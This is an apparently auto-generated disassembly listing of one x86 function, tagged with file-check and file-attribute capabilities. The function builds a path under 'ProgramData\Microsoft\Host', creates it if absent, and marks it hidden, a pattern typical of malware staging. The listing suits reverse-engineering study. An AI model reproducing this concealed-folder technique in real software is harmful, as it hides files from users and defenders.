Function at 0x100ac2e0
Capabilities:
Check if file exists
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e2376
mov eax, dword fs:[0]
push eax
sub esp, 0x46c
mov eax, dword [0x10115034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x474], esi
mov dword [ebp - 0x46c], 0
mov dword [ebp - 4], 1
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
mov word [ebp - 0x450], ax
push 0x206
mov byte [ebp - 4], 2
push eax
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x420]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x104
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.MSVCR120.dll__wsplitpath_s]
add esp, 0x24
cmp word [ebp - 0x218], 0
jne 0x100ac3e1
xor ecx, ecx
jmp 0x100ac3ff
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100ac3f0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x450]
call fcn.10001df0
cmp dword [ebp - 0x440], 0
je 0x100ac434
push 1
push 0
push 0x100f588c
lea ecx, [ebp - 0x450]
call fcn.10005890
cmp eax, 0xffffffff
jne 0x100ac446
push 2
push 0x100f5890
lea ecx, [ebp - 0x450]
call fcn.10001df0
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x468]
push str._sProgramDataMicrosoft_Host
push eax
call fcn.1002e5f0
add esp, 0xc
xor eax, eax
mov byte [ebp - 4], 3
push 0xffffffffffffffff
push eax
mov word [ebp - 0x438], ax
lea ecx, [ebp - 0x438]
lea eax, [ebp - 0x468]
mov dword [ebp - 0x424], 7
push eax
mov dword [ebp - 0x428], 0
call fcn.10001a60
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 4
call fcn.1002f390
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [ebp - 4], 3
mov edi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
setne bl
cmp dword [ebp - 0x424], 8
jb 0x100ac4f2
push dword [ebp - 0x438]
call edi
add esp, 4
test bl, bl
jne 0x100ac525
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x468]
push eax
call fcn.10001a60
call fcn.100aafa0
add esp, 0x18
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
lea eax, [ebp - 0x450]
cmovae ecx, dword [ebp + 8]
cmp dword [ebp - 0x43c], 8
push ecx
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x438]
push str._sProgramDataMicrosoft_Host_s
push eax
call fcn.1002e5f0
mov ebx, eax
add esp, 0x10
cmp esi, ebx
je 0x100ac588
cmp dword [esi + 0x14], 8
jb 0x100ac56d
push dword [esi]
call edi
add esp, 4
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov ecx, esi
push ebx
mov word [esi], ax
call fcn.10001900
cmp dword [ebp - 0x424], 8
jb 0x100ac59c
push dword [ebp - 0x438]
call edi
add esp, 4
mov ecx, esi
call fcn.1002f390
xor eax, eax
mov dword [ebp - 0x424], 7
push 0xffffffffffffffff
push eax
push esi
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x428], 0
mov word [ebp - 0x438], ax
call fcn.10001a60
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 5
call fcn.1002f390
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [ebp - 4], 3
setne bl
cmp dword [ebp - 0x424], 8
jb 0x100ac616
push dword [ebp - 0x438]
call edi
add esp, 4
test bl, bl
jne 0x100ac660
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push esi
mov word [ecx], ax
call fcn.10001a60
call fcn.100aafa0
add esp, 0x18
lea eax, [ebp - 0x468]
cmp dword [ebp - 0x454], 8
cmovae eax, dword [ebp - 0x468]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x454], 8
jb 0x100ac674
push dword [ebp - 0x468]
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x454], 7
cmp dword [ebp - 0x43c], 8
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
jb 0x100ac6a5
push dword [ebp - 0x450]
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x43c], 7
cmp dword [ebp + 0x1c], 8
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
jb 0x100ac6d0
push dword [ebp + 8]
call edi
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100dc8fb
mov esp, ebp
pop ebp
ret